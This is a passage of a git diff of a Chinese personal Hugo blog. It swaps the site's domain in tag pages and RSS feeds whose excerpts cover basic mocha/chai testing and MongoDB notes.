href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>mocha</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用mocha测试框架</h2></header><div class=entry-content><p>mocha是JavaScript测试框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>mocha | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/mocha/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/mocha/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="mocha"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/mocha/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="mocha"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>mocha</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用mocha测试框架</h2></header><div class=entry-content><p>mocha是JavaScript测试框架
 安装
 npm install –global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
-return a+b+c
-}
-module.exports = abc
-demo.test.js
-const demo = require('./demo.js')
-const expect = require('chai').expect
-describe('test', function() {
-it('错误', function() {
-expect(demo(1,3,7)).to.be.equal(11)
-})
-})
-测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(‘chai’).expect
@@ -32,7 +21,7 @@
 –invert ：只执行不符合条件的测试脚本，要搭配–grep使用
 如果要测试ES6，需要转码
 npm install babel-core babel-preset-es2015 –save-dev
-.babelrc...</p></div><footer class=entry-footer><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://xiaochenabc123.github.io/posts/114/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+.babelrc...</p></div><footer class=entry-footer><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://chenjunlinabc.github.io/posts/114/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/mocha/index.xml b/tags/mocha/index.xml
index 6d865073..9dfc1a7b 100644
--- a/tags/mocha/index.xml
+++ b/tags/mocha/index.xml
@@ -2,29 +2,29 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>mocha on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/mocha/</link>
+    <link>https://chenjunlinabc.github.io/tags/mocha/</link>
     <description>Recent content in mocha on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 03 Oct 2021 12:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/mocha/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 03 Oct 2021 12:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/mocha/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用mocha测试框架</title>
-      <link>https://xiaochenabc123.github.io/posts/114/</link>
+      <link>https://chenjunlinabc.github.io/posts/114/</link>
       <pubDate>Sun, 03 Oct 2021 12:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/114/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/114/</guid>
       <description>mocha是JavaScript测试框架
 安装
 npm install &amp;ndash;global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
return a+b+c
}
module.exports = abc
demo.test.js
-const demo = require(&#39;./demo.js&#39;)
const expect = require(&#39;chai&#39;).expect
describe(&#39;test&#39;, function() {
it(&#39;错误&#39;, function() {
expect(demo(1,3,7)).to.be.equal(11)
})
})
测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require(&#39;./demo.js&#39;) const expect = require(&#39;chai&#39;).expect describe(&#39;test&#39;, function() { it(&#39;错误&#39;, function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(&amp;lsquo;chai&amp;rsquo;).expect
diff --git a/tags/mocha/page/1/index.html b/tags/mocha/page/1/index.html
index 50597e10..5cd0c04e 100644
--- a/tags/mocha/page/1/index.html
+++ b/tags/mocha/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/mocha/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/mocha/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/mocha/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/mocha/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/mocha/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/mocha/"></head></html>
\ No newline at end of file
diff --git a/tags/mongodb/index.html b/tags/mongodb/index.html
index 6cefaa7f..2368c2b6 100644
--- a/tags/mongodb/index.html
+++ b/tags/mongodb/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>MongoDB | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/mongodb/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/mongodb/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="MongoDB"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/mongodb/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="MongoDB"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>MongoDB</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>MongoDB学习笔记</h2></header><div class=entry-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>MongoDB | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/mongodb/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/mongodb/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="MongoDB"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/mongodb/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="MongoDB"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>MongoDB</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>MongoDB学习笔记</h2></header><div class=entry-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
 而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）
@@ -42,7 +42,7 @@
 show collections
 或者
 show tables
-db.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )...</p></div><footer class=entry-footer><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to MongoDB学习笔记" href=https://xiaochenabc123.github.io/posts/76/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+db.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )...</p></div><footer class=entry-footer><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to MongoDB学习笔记" href=https://chenjunlinabc.github.io/posts/76/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/mongodb/index.xml b/tags/mongodb/index.xml
index 9846e06c..bee0e529 100644
--- a/tags/mongodb/index.xml
+++ b/tags/mongodb/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>MongoDB on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/mongodb/</link>
+    <link>https://chenjunlinabc.github.io/tags/mongodb/</link>
     <description>Recent content in MongoDB on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 08 Aug 2021 14:20:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/mongodb/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 08 Aug 2021 14:20:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/mongodb/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>MongoDB学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/76/</link>
+      <link>https://chenjunlinabc.github.io/posts/76/</link>
       <pubDate>Sun, 08 Aug 2021 14:20:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/76/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/76/</guid>
       <description>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
diff --git a/tags/mongodb/page/1/index.html b/tags/mongodb/page/1/index.html
index d6ab7b01..8dc7b8d1 100644
--- a/tags/mongodb/page/1/index.html
+++ b/tags/mongodb/page/1/index.html
@@ -1 +1 @@
